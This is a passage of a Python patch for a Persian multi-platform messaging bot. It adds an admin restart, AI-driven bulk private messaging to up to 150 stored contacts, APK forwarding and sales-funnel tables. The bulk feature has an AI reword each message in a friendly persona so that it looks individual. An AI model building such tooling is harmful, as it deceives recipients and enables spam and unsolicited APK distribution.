            lines.append(TRX_SYMS["sep"])
            lines.append(f"{TRX_SYMS['star']} {note}")
        lines.append(SEP_MAIN)
        return "\n".join(lines)

    @staticmethod
    def confirm(title, points, alert=None):
        lines = [TRX_UI_STYLE._title(f"تأیید {title}"), SEP_MAIN]
        for p in points or []:
            lines.append(f"{TRX_SYMS['start']} {p}")
        if alert:
            lines.append(TRX_SYMS["sep"])
            lines.append(f"{TRX_SYMS['star']} {alert}")
        lines.append(SEP_MAIN)
        lines.append(f"{TRX_SYMS['special']} مطمئنی می‌خوای ادامه بدی؟")
        return "\n".join(lines)

    @staticmethod
    def error(reason, solution=None, note=None):
        lines = [f"{TRX_SYMS['item']} ❌ خطا", SEP_MAIN]
        lines.append(f"{TRX_SYMS['start']} {reason}")
        if solution:
            lines.append(f"{TRX_SYMS['start']} {solution}")
        if note:
            lines.append(SEP_MAIN)
            lines.append(f"{TRX_SYMS['star']} {note}")
        lines.append(SEP_MAIN)
        return "\n".join(lines)

    @staticmethod
    def wizard(title, step_text, action, hint=None):
        lines = [TRX_UI_STYLE._title(title), SEP_MAIN]
        lines.append(f"{TRX_SYMS['start']} {step_text}")
        lines.append(TRX_SYMS["sep"])
        lines.append(f"{TRX_SYMS['item']} {action}")
        if hint:
            lines.append(f"{TRX_SYMS['sub']} {hint}")
        lines.append(SEP_MAIN)
        lines.append(f"{TRX_SYMS['arr_l']} {hint or 'ادامه بده'}")
        return "\n".join(lines)

    @staticmethod
    def kv(items_dict):
        return "\n".join(f"{TRX_SYMS['star']} {k}: {v}" for k, v in (items_dict or {}).items())

    @staticmethod
    def note(text):
        return f"{TRX_SYMS['star']} {text}"


# ═══════════════════════════════════════════════════════════════════════════
# 3) SCHEMA MIGRATIONS — all new tables
# ═══════════════════════════════════════════════════════════════════════════

def _PATCH_ensure_schema():
    db = _DB()
    if db is None:
        return
    try:
        # Voice quota (feature #5)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_voice_quota (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                voice_count INTEGER DEFAULT 0,
                last_sent_at TEXT,
                created_at TEXT,
                UNIQUE(user_id, account_id, platform, peer_id)
            )
        """)

        # APK gallery photos (feature #6)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_apk_gallery (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                photo_index INTEGER NOT NULL,
                source_peer TEXT NOT NULL,
                source_message_id TEXT NOT NULL,
                photo_link TEXT,
                description TEXT DEFAULT '',
                created_at TEXT,
                UNIQUE(user_id, account_id, platform, photo_index)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_apk_gallery_quota (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                forward_count INTEGER DEFAULT 0,
                last_sent_at TEXT,
                created_at TEXT,
                UNIQUE(user_id, account_id, platform, peer_id)
            )
        """)

        # APK gallery video (feature #11)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_apk_gallery_video (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                source_peer TEXT NOT NULL,
                source_message_id TEXT NOT NULL,
                video_link TEXT,
                caption TEXT DEFAULT '',
                created_at TEXT,
                UNIQUE(user_id, account_id, platform)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_apk_video_quota (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                forward_count INTEGER DEFAULT 0,
                last_sent_at TEXT,
                created_at TEXT,
                UNIQUE(user_id, account_id, platform, peer_id)
            )
        """)

        # Keyword listener (feature #9)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_keyword_listener (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                group_id TEXT NOT NULL,
                enabled INTEGER DEFAULT 1,
                scan_enabled INTEGER DEFAULT 1,
                reply_cooldown INTEGER DEFAULT 300,
                daily_reply_cap INTEGER DEFAULT 10,
                last_reply_at TEXT,
                created_at TEXT,
                UNIQUE(user_id, account_id, platform, group_id)
            )
        """)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_keyword_reply_log (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                group_id TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                trigger_message TEXT,
                reply_message TEXT,
                keyword_matched TEXT,
                success INTEGER DEFAULT 1,
                created_at TEXT
            )
        """)

        # Sales funnel (feature #10)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_sales_funnel (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                stage TEXT DEFAULT 'NEW_LEAD',
                stage_score INTEGER DEFAULT 0,
                last_stage_change TEXT,
                last_interaction TEXT,
                total_messages INTEGER DEFAULT 0,
                notes TEXT DEFAULT '',
                created_at TEXT,
                updated_at TEXT,
                UNIQUE(user_id, account_id, platform, peer_id)
            )
        """)
        db.execute("CREATE INDEX IF NOT EXISTS idx_funnel_user_stage ON trx_sales_funnel(user_id, stage)")

        # Long-term memory (feature #10b)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_long_memory (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                summary TEXT NOT NULL,
                key_facts TEXT DEFAULT '',
                message_count INTEGER DEFAULT 0,
                created_at TEXT,
                expires_at TEXT,
                UNIQUE(user_id, account_id, platform, peer_id)
            )
        """)
        db.execute("CREATE INDEX IF NOT EXISTS idx_ltm_expires ON trx_long_memory(expires_at)")

        # Learned patterns (feature #15)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_learned_patterns (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                pattern_type TEXT NOT NULL,
                trigger_text TEXT NOT NULL,
                winning_response TEXT NOT NULL,
                context_notes TEXT DEFAULT '',
                success_score INTEGER DEFAULT 1,
                times_used INTEGER DEFAULT 0,
                times_worked INTEGER DEFAULT 0,
                created_at TEXT,
                last_used_at TEXT
            )
        """)
        db.execute("CREATE INDEX IF NOT EXISTS idx_learned_user_type ON trx_learned_patterns(user_id, pattern_type)")

        # Account health (feature #16)
        db.execute("""
            CREATE TABLE IF NOT EXISTS trx_account_health (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                health_status TEXT DEFAULT 'unknown',
                success_rate INTEGER DEFAULT 0,
                total_sent INTEGER DEFAULT 0,
                total_failed INTEGER DEFAULT 0,
                consecutive_fails INTEGER DEFAULT 0,
                last_alert_at TEXT,
                last_checked_at TEXT,
                created_at TEXT,
                UNIQUE(user_id, account_id)
            )
        """)
        db.execute("CREATE INDEX IF NOT EXISTS idx_health_user ON trx_account_health(user_id, health_status)")

        _LOG_INFO("[PATCH] All new tables verified.")
    except Exception as _e:
        _LOG_ERR(f"[PATCH] schema migration failed: {_mask(str(_e))}")


# ═══════════════════════════════════════════════════════════════════════════
# 4) HELPERS
# ═══════════════════════════════════════════════════════════════════════════

def _norm_digits(text):
    try:
        return str(text or "").translate(str.maketrans(
            "۰۱۲۳۴۵۶۷۸۹٠١٢٣٤٥٦٧٨٩", "01234567890123456789"))
    except Exception:
        return str(text or "")

def _setting_get(key, default=""):
    try:
        row = _DB().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        return row["value"] if row and row["value"] is not None else default
    except Exception:
        return default

def _setting_set(key, value):
    try:
        _DB().execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (key, str(value)),
        )
        return True
    except Exception as e:
        _LOG_WARN(f"[PATCH] setting_set({key}): {_mask(str(e))}")
        return False

def _platform_label(platform, lang="fa"):
    try:
        return trx._trx01_service_label(platform, lang)
    except Exception:
        fa = {"rubika": "روبیکا", "soroush": "سروش پلاس", "bale": "بله",
              "telegram": "تلگرام", "shad": "شاد"}
        en = {"rubika": "Rubika", "soroush": "Soroush", "bale": "Bale",
              "telegram": "Telegram", "shad": "Shad"}
        return (en if str(lang or "fa").lower().startswith("en") else fa).get(
            str(platform or "").lower(), str(platform or ""))

def _platform_emoji(platform):
    return {"rubika": "🔵", "soroush": "🔴", "bale": "🟡",
            "telegram": "🟦", "shad": "🟩"}.get(str(platform or "").lower(), "◈")

def _safe_edit(chat_id, msg_id, text, kb=None):
    try:
        return trx._edit(chat_id, msg_id, text, kb)
    except Exception as e:
        _LOG_WARN(f"[PATCH] _safe_edit failed: {_mask(str(e))}")
        try:
            return _BOT().send(chat_id, text, reply_markup=kb)
        except Exception:
            return {"ok": False}

def _safe_answer(cb_id, text="", alert=False):
    try:
        return _BOT().answer_cb(cb_id, text, alert)
    except Exception:
        return {"ok": False}

def _IKB(rows):
    try:
        return trx.IKB(rows)
    except Exception:
        return {"inline_keyboard": []}

def _account_context(uid, aid, requested=None):
    """Validate account belongs to user and (optionally) to requested platform."""
    try:
        row = _DB().fetchone(
            "SELECT id,service,enabled,phone FROM accounts WHERE id=? AND user_id=? AND enabled=1",
            (int(aid), int(uid)),
        )
    except Exception:
        return None
    if not row:
        return None
    actual = str(row["service"] or "").lower()
    if requested and requested in ALL_PLATFORMS and requested != actual:
        return None
    return {"id": int(row["id"]), "platform": actual, "phone": row["phone"] or ""}

def _resolve_target(client, raw):
    try:
        return trx._trx_resolve_target(client, raw)
    except Exception:
        return raw

def _maybe_await(value):
    if asyncio.iscoroutine(value):
        return value
    return value

async def _awaitable(value):
    if asyncio.iscoroutine(value):
        return await value
    return value


def _cleanup_caption(text):
    try:
        return trx._trx115_cleanup_caption(text)
    except Exception:
        return str(text or "")[:3500]

def _ai_system(uid, aid, mode="reply", extra=""):
    try:
        return trx._trx_ai_system(uid, aid, mode, extra)
    except Exception:
        return ""

def _memory_load(uid, aid, peer, limit=12):
    try:
        return trx._trx_memory_load(uid, aid, peer, limit)
    except Exception:
        return []

def _memory_save(uid, aid, peer, role, text):
    try:
        trx._trx_memory_save(uid, aid, peer, role, text)
    except Exception:
        pass

def _log_activity(aid, uid, action, target, success=1):
    try:
        trx.log_account_activity(aid, uid, action, target, success)
    except Exception:
        pass

def _log_event(uid, event, detail=""):
    try:
        trx.log_event(uid, event, detail)
    except Exception:
        pass

def _create_task(coro):
    try:
        return trx._trx_task_create(coro)
    except Exception:
        try:
            return asyncio.create_task(coro)
        except Exception:
            return None


# ═══════════════════════════════════════════════════════════════════════════
# 5) FEATURE #1 — ADMIN RESTART BUTTON
# ═══════════════════════════════════════════════════════════════════════════

async def _trx_restart_process():
    """Restart the entire process via os.execv (no subprocess — no 409 risk)."""
    log = _LOG()
    admin_uid = TRX_ADMIN_ID

    # Step 1: mark pending so next boot can notify
    try:
        _setting_set(f"pending_restart:{admin_uid}", str(admin_uid))
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] pending mark: {_mask(str(e))}")

    # Step 2: stop polling
    try:
        _BOT().running = False
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] stop polling: {_mask(str(e))}")

    # Step 3: cancel background tasks (except current)
    try:
        current = asyncio.current_task()
        for task in asyncio.all_tasks():
            if task is current:
                continue
            try:
                task.cancel()
            except Exception:
                pass
        await asyncio.sleep(0.5)
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] cancel tasks: {_mask(str(e))}")

    # Step 4: close sessions/db/pid
    try:
        await _BOT().close()
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] bot.close: {_mask(str(e))}")
    try:
        await _AI().close()
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] ai.close: {_mask(str(e))}")
    try:
        _DB().close()
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] db.close: {_mask(str(e))}")
    try:
        trx._remove_pid()
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] remove_pid: {_mask(str(e))}")

    # Step 5: let the farewell message reach Telegram
    try:
        await asyncio.sleep(1.0)
    except Exception:
        pass

    # Step 6: execv or fallback
    try:
        python = sys.executable
        script = os.path.abspath(_MAIN_PATH)
        _LOG_INFO(f"[PATCH][restart] execv {python} {script}")
        os.execv(python, [python, script])
    except Exception as e:
        _LOG_ERR(f"[PATCH][restart] execv failed: {_mask(str(e))}")
        try:
            os._exit(0)
        except Exception:
            sys.exit(0)


async def _trx_patch_check_pending_restart():
    """On boot, if pending_restart:<admin> exists, notify admin and clear it."""
    try:
        key = f"pending_restart:{TRX_ADMIN_ID}"
        row = _DB().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if row and row["value"]:
            chat_id = int(row["value"])
            try:
                await _BOT().send(chat_id, "✅ ربات با موفقیت ری‌استارت شد 🚀", parse_mode=None)
            except Exception as e:
                _LOG_WARN(f"[PATCH][restart] notify failed: {_mask(str(e))}")
            _DB().execute("DELETE FROM settings WHERE key=?", (key,))
    except Exception as e:
        _LOG_WARN(f"[PATCH][restart] pending check: {_mask(str(e))}")


def _admin_menu_with_restart(lang):
    """Rebuild admin menu adding restart button next to adm.maint."""
    base = None
    try:
        base = trx.admin_menu(lang)
    except Exception:
        base = None
    rows = []
    if isinstance(base, dict) and "inline_keyboard" in base:
        rows = [list(r) for r in base["inline_keyboard"]]
    # find the maintenance row and extend with restart
    found = False
    for row in rows:
        for btn in row:
            if isinstance(btn, dict) and btn.get("callback_data") == "adm.maint":
                row.append({"text": "🔄 ری‌استارت ربات",
                            "callback_data": "adm.restart",
                            "style": "danger"})
                found = True
                break
        if found:
            break
    if not found:
        rows.insert(0, [
            {"text": "🛠 تعمیرات", "callback_data": "adm.maint", "style": "danger"},
            {"text": "🔄 ری‌استارت ربات", "callback_data": "adm.restart", "style": "danger"},
        ])
    return {"inline_keyboard": rows}


# Hook into admin_dispatch (chain preserve)
_PATCH_ORIG_ADMIN_DISPATCH = getattr(trx, "admin_dispatch", None)

async def _patch_admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    if not trx.is_admin(uid):
        # defer to original for access check
        if _PATCH_ORIG_ADMIN_DISPATCH is not None:
            return await _PATCH_ORIG_ADMIN_DISPATCH(cb_id, uid, lang, chat_id, msg_id, data)
        return

    if data == "adm.restart":
        kb = _IKB([
            [("✅ بله ری‌استارت کن", "adm.restart.confirm", "success")],
            [("❌ لغو", "cancel", "danger")],
        ])
        return await _safe_edit(
            chat_id, msg_id,
            f"{TRX_UI_STYLE._title('ری‌استارت ربات')}\n{SEP_MAIN}\n"
            f"{TRX_SYMS['start']} کل پروژه از صفر اجرا می‌شه\n"
            f"{TRX_SYMS['start']} polling قطع و دوباره وصل می‌شه\n"
            f"{SEP_MAIN}\n{TRX_SYMS['star']} در این فاصله ربات چند ثانیه آفلاین می‌شه\n{SEP_MAIN}",
            kb,
        )

    if data == "adm.restart.confirm":
        await _safe_edit(
            chat_id, msg_id,
            f"{TRX_SYMS['start']} 🔄 ربات داره ری‌استارت می‌شه...",
        )
        try:
            await _trx_restart_process()
        except Exception as e:
            _LOG_ERR(f"[PATCH][restart] top-level: {_mask(str(e))}")
        return

    if _PATCH_ORIG_ADMIN_DISPATCH is not None:
        return await _PATCH_ORIG_ADMIN_DISPATCH(cb_id, uid, lang, chat_id, msg_id, data)

trx.admin_dispatch = _patch_admin_dispatch
# Also patch the deeper layer used by the newest dispatch
try:
    _orig_admin_dispatch_alt = getattr(trx, "_TRX15_ADMIN_DISPATCH_BEFORE", None)
except Exception:
    _orig_admin_dispatch_alt = None


# ═══════════════════════════════════════════════════════════════════════════
# 6) FEATURE #2 — BULK CONTACTS (clean state machine)
# ═══════════════════════════════════════════════════════════════════════════

BULK_PREFIX = "trxq11bulk."

async def _trxq11bulk_get_contacts(uid, aid, platform, count):
    try:
        rows = _DB().fetchall(
            "SELECT peer_id FROM trx01_known_peers "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' "
            "ORDER BY last_seen DESC",
            (int(uid), int(aid), str(platform)),
        )
    except Exception:
        rows = []
    out, seen = [], set()
    for r in rows:
        pid = str(r["peer_id"] or "").strip()
        if pid and pid not in seen:
            seen.add(pid)
            out.append(pid)
    try:
        requested = max(1, min(150, int(count)))
    except Exception:
        requested = 150
    return out[:requested], len(out)


async def _trxq11bulk_worker(uid, aid, platform, base_text, peers, batch_id, chat_id, lang):
    sent, failed = 0, 0
    total = len(peers)
    for idx, peer in enumerate(peers):
        try:
            mem = _memory_load(uid, aid, str(peer), 6)
            sys_prompt = _ai_system(
                uid, aid, "bulk_pv",
                f"Peer={peer}. Rewrite the base text for this specific contact. "
                "Use user's persona. Persian friend style. Keep meaning but vary wording."
            )
            msgs = [{"role": "system", "content": sys_prompt}]
            msgs.extend(mem)
            msgs.append({"role": "user", "content":
                f"این متن رو برای این مخاطب خاص بازنویسی کن هم‌معنا ولی متفاوت:\n\n{base_text}"})
            unique = await _AI().chat(
                msgs, uid=uid, account_id=aid,
                action_type="bulk_pv", temperature=0.9, max_tokens=400,
            )
            unique = _cleanup_caption(unique or base_text)

            client = trx.ai_live_clients.get((uid, aid))
            if client is None:
                try:
                    client = await trx._ensure_ai_client(uid, aid)
                except Exception:
                    client = None
            ok = False
            if client is not None:
                send = getattr(client, "send_message", None)
                if callable(send):
                    try:
                        res = send(peer, unique)
                        if asyncio.iscoroutine(res):
                            await res
                        ok = True
                    except Exception as e:
                        _LOG_WARN(f"[PATCH][bulk] send {peer}: {_mask(str(e))}")

            try:
                _DB().execute(
                    "INSERT INTO trx222b_bulk_log("
                    "user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at"
                    ") VALUES(?,?,?,?,?,?,?,?)",
                    (uid, aid, platform, str(peer), unique[:500], 1 if ok else 0, batch_id, trx.now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
                _memory_save(uid, aid, str(peer), "assistant", unique)
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as e:
            failed += 1
            _LOG_WARN(f"[PATCH][bulk] {peer}: {_mask(str(e))}")
        if idx < total - 1:
            await asyncio.sleep(7)

    report = TRX_UI_STYLE.report(
        "گزارش ارسال به مخاطبین",
        {"موفق": sent, "ناموفق": failed, "کل": total,
         "پلتفرم": _platform_label(platform, lang), "زمان": trx.now()},
    )
    try:
        await _BOT().send(chat_id, report, reply_markup=trx.ai_advanced_menu(lang, uid))
    except Exception as e:
        _LOG_WARN(f"[PATCH][bulk] report: {_mask(str(e))}")


async def _trxq11bulk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(BULK_PREFIX) and data_s != "ai.bulk.contacts":
        return None  # not ours

    await _safe_answer(cb_id)

    try:
        if data_s == "ai.bulk.contacts":
            state = trx.state
            state.pop(uid)
            kb = _IKB([
                [("🔵 روبیکا", f"{BULK_PREFIX}plat:rubika", "primary"),
                 ("🔴 سروش پلاس", f"{BULK_PREFIX}plat:soroush", "danger")],
                [("🟡 بله", f"{BULK_PREFIX}plat:bale", "primary"),
                 ("🟦 تلگرام", f"{BULK_PREFIX}plat:telegram", "primary")],
                [("🟩 شاد", f"{BULK_PREFIX}plat:shad", "success")],
                [("↩️ بازگشت", "ai", "primary")],
            ])
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("پیام به مخاطبین", ["اول پلتفرم رو انتخاب کن"]),
                kb,
            )

        if data_s.startswith(f"{BULK_PREFIX}plat:"):
            plat = data_s.split(":", 1)[1]
            if plat not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.main_menu(lang, uid))
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, plat),
            )
            btns = []
            for r in rows:
                phone_mask = trx._mask_phone(r["phone"]) if r["phone"] else "—"
                btns.append([(f"#{r['id']} — {phone_mask}",
                              f"{BULK_PREFIX}acc:{r['id']}:{plat}", "primary")])
            if not btns:
                btns.append([("❌ اکانت فعالی نداری", "ai.bulk.contacts", "danger")])
            else:
                btns.append([("↩️ بازگشت", "ai.bulk.contacts", "primary")])
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}",
                                  ["یکی از اکانت‌های این پلتفرم رو انتخاب کن"]),
                _IKB(btns),
            )

        if data_s.startswith(f"{BULK_PREFIX}acc:"):
            parts = data_s.split(":")
            if len(parts) < 4:
                return await _safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.", trx.main_menu(lang, uid))
            try:
                aid = int(parts[2])
            except Exception:
                return await _safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.", trx.main_menu(lang, uid))
            plat = parts[3]
            ctx = _account_context(uid, aid, plat)
            if not ctx:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ این اکانت با پلتفرم هم‌خوانی نداره. دوباره انتخاب کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            # FULL STATE RESET before set
            trx.state.pop(uid)
            trx.state.set(uid, "trxq11bulk_count",
                          account_id=aid, platform=plat, service=plat,
                          current_step="count", count=None, message=None)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard(
                    "پیام به مخاطبین", "مرحله ۱ از ۳",
                    "چند نفر باید پیام بگیرن؟ (۱ تا ۱۵۰)",
                    "عدد رو با کیبورد بفرست",
                ),
                _IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == f"{BULK_PREFIX}confirm":
            s = trx.state.get(uid)
            if not s or s.get("state") != "trxq11bulk_confirm":
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ این تأیید منقضی شده. از اول شروع کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            try:
                count = int(s.get("count") or 0)
            except Exception:
                count = 0
            if count < 1 or count > 150:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ تعداد معتبر نیست. از اول شروع کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            aid = int(s["account_id"])
            plat = s["platform"]
            message = s.get("message") or ""
            contacts, total_available = await _trxq11bulk_get_contacts(uid, aid, plat, count)
            if not contacts:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    TRX_UI_STYLE.error(
                        "هیچ مخاطبی در دیتابیس پیدا نشد",
                        "مخاطبین وقتی ثبت می‌شن که کاربر به اکانت پیام بده",
                    ),
                    trx.ai_advanced_menu(lang, uid),
                )
            shortfall_note = ""
            if len(contacts) < count:
                shortfall_note = f"فقط {len(contacts)} نفر از {count} درخواستی موجود بود"
            trx.state.pop(uid)
            batch_id = f"bulk-{int(time.time())}"
            await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.confirm(
                    "ارسال",
                    [
                        f"تعداد ارسال: {len(contacts)}",
                        f"پلتفرم: {_platform_label(plat, lang)}",
                        f"اکانت: #{aid}",
                    ] + ([shortfall_note] if shortfall_note else []),
                    "AI برای هر نفر متن رو یه‌کم متفاوت می‌کنه",
                ).replace("مطمئنی می‌خوای ادامه بدی؟", "⏳ شروع شد..."),
                _IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )
            _create_task(_trxq11bulk_worker(
                uid, aid, plat, message, contacts,
                batch_id, chat_id, lang,
            ))
            return

    except Exception as e:
        _LOG_ERR(f"[PATCH][bulk] dispatch error: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _safe_edit(
            chat_id, msg_id,
            "⚠️ خطای موقت. از منوی AI دوباره شروع کن.",
            trx.main_menu(lang, uid),
        )

    return None


async def _trxq11bulk_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt or txt.startswith("/"):
        return None
    s = trx.state.get(uid)
    if not s:
        return None
    st = s.get("state")
    if st not in ("trxq11bulk_count", "trxq11bulk_text", "trxq11bulk_confirm"):
        return None

    lang = trx.get_lang(uid) or "fa"
    try:
        if st == "trxq11bulk_count":
            digits = _norm_digits(txt)
            if not digits.isdigit():
                return await _BOT().send(chat_id, "❌ فقط عدد (۱ تا ۱۵۰) بفرست.")
            n = int(digits)
            if n < 1 or n > 150:
                return await _BOT().send(chat_id, "❌ عدد باید بین ۱ تا ۱۵۰ باشه.")
            trx.state.set(uid, "trxq11bulk_text",
                          account_id=s["account_id"], platform=s["platform"],
                          current_step="text", count=n, message=None)
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.wizard(
                    "پیام به مخاطبین", "مرحله ۲ از ۳",
                    "متن پیام رو بفرست",
                    "AI برای هر مخاطب متن رو یه‌کم متفاوت بازنویسی می‌کنه",
                ),
                reply_markup=_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if st == "trxq11bulk_text":
            count = int(s.get("count") or 0)
            trx.state.set(uid, "trxq11bulk_confirm",
                          account_id=s["account_id"], platform=s["platform"],
                          current_step="confirm", count=count, message=txt)
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.confirm(
                    "ارسال",
                    [
                        f"تعداد مخاطبین: {count}",
                        f"پلتفرم: {_platform_label(s['platform'], lang)}",
                        "AI متن رو برای هر نفر شخصی‌سازی می‌کنه",
                    ],
                    "بعد از تأیید، به ترتیب و با فاصله ارسال می‌شه",
                ),
                reply_markup=_IKB([
                    [("✅ تأیید", f"{BULK_PREFIX}confirm", "success"),
                     ("❌ لغو", "cancel", "danger")],
                ]),
            )
    except Exception as e:
        _LOG_ERR(f"[PATCH][bulk] on_msg: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 7) FEATURE #3 — APK SEND (rewrite with clean state machine)
# ═══════════════════════════════════════════════════════════════════════════

APKFIX_PREFIX = "apkfix."

async def _apkfix_do_forward(client, source_peer, source_id, dest, platform):
    """Universal forward across all 5 platforms."""
    failures = []
    platform = str(platform or "").lower()

    # Resolve both peers first
    try:
        s_dest = await _resolve_target(client, source_peer)
    except Exception:
        s_dest = source_peer
    try:
        d_dest = await _resolve_target(client, dest)
    except Exception:
        d_dest = dest

    sid = source_id
    try:
        sid_int = int(str(source_id))
    except Exception:
        sid_int = source_id

    def _call(name, args, kwargs):
        fn = getattr(client, name, None)
        if not callable(fn):
            return None
        try:
            result = fn(*args, **kwargs)
            return result
        except Exception as e:
            failures.append(f"{name}: {type(e).__name__}: {str(e)[:120]}")
            return None

    # Rubika: forward_messages(source_guid, dest_guid, [msg_ids])
    if platform == "rubika":
        variants = [
            ("forward_messages", (s_dest, d_dest, [sid]), {}),
            ("forward_messages", (source_peer, d_dest, [sid]), {}),
            ("forward_messages", (s_dest, dest, [sid]), {}),
            ("forward_messages", (s_dest, d_dest, [sid_int]), {}),
            ("forward_messages", (s_dest, d_dest), {"message_ids": [sid_int]}),
        ]
    elif platform == "telegram":
        variants = [
            ("forward_messages", (d_dest, [sid_int], s_dest), {}),
            ("forward_messages", (d_dest, [sid], s_dest), {}),
            ("forward_messages", (d_dest, [sid_int]), {"from_peer": s_dest}),
            ("forward_messages", (d_dest,), {"messages": [sid_int], "from_peer": s_dest}),
            ("forward_messages", (d_dest, sid_int, s_dest), {}),
        ]
    elif platform == "soroush":
        variants = [
            ("forward_messages", (d_dest, [sid_int], s_dest), {}),
            ("forward_messages", (d_dest, [sid]), {"from_peer": s_dest}),
            ("forward_messages", (d_dest,), {"messages": [sid_int], "from_peer": s_dest}),
            ("forward_messages", (d_dest, sid_int, s_dest), {}),
        ]
    elif platform == "bale":
        variants = [
            ("forward_messages", (d_dest, s_dest, [sid_int]), {}),
            ("forward_messages", (d_dest, s_dest, sid_int), {}),
            ("forward_messages", (d_dest, [sid_int], s_dest), {}),
            ("forward_messages", (d_dest,), {"message_ids": [sid_int], "from_peer": s_dest}),
            ("forward_message", (d_dest, sid_int, s_dest), {}),
        ]
    elif platform == "shad":
        variants = [
            ("forward_messages", (d_dest, [sid_int]), {}),
            ("forward_messages", (d_dest, sid_int), {}),
            ("forward_messages", (d_dest,), {"messages": [sid_int]}),
            ("forward_message", (d_dest, sid_int), {}),
        ]
    else:
        variants = [
            ("forward_messages", (d_dest, [sid_int], s_dest), {}),
            ("forward_messages", (d_dest, s_dest, [sid_int]), {}),
        ]

    for name, args, kwargs in variants:
        res = _call(name, args, kwargs)
        if res is not None:
            if asyncio.iscoroutine(res):
                try:
                    await res
                except Exception as e:
                    failures.append(f"{name}: {type(e).__name__}: {str(e)[:120]}")
                    continue
            return True, res

    return False, " | ".join(failures[-6:])


async def _apkfix_get_contacts(uid, aid, platform, count):
    return await _trxq11bulk_get_contacts(uid, aid, platform, count)


async def _apkfix_send_apk_to_peer(client, platform, source_peer, source_id, dest):
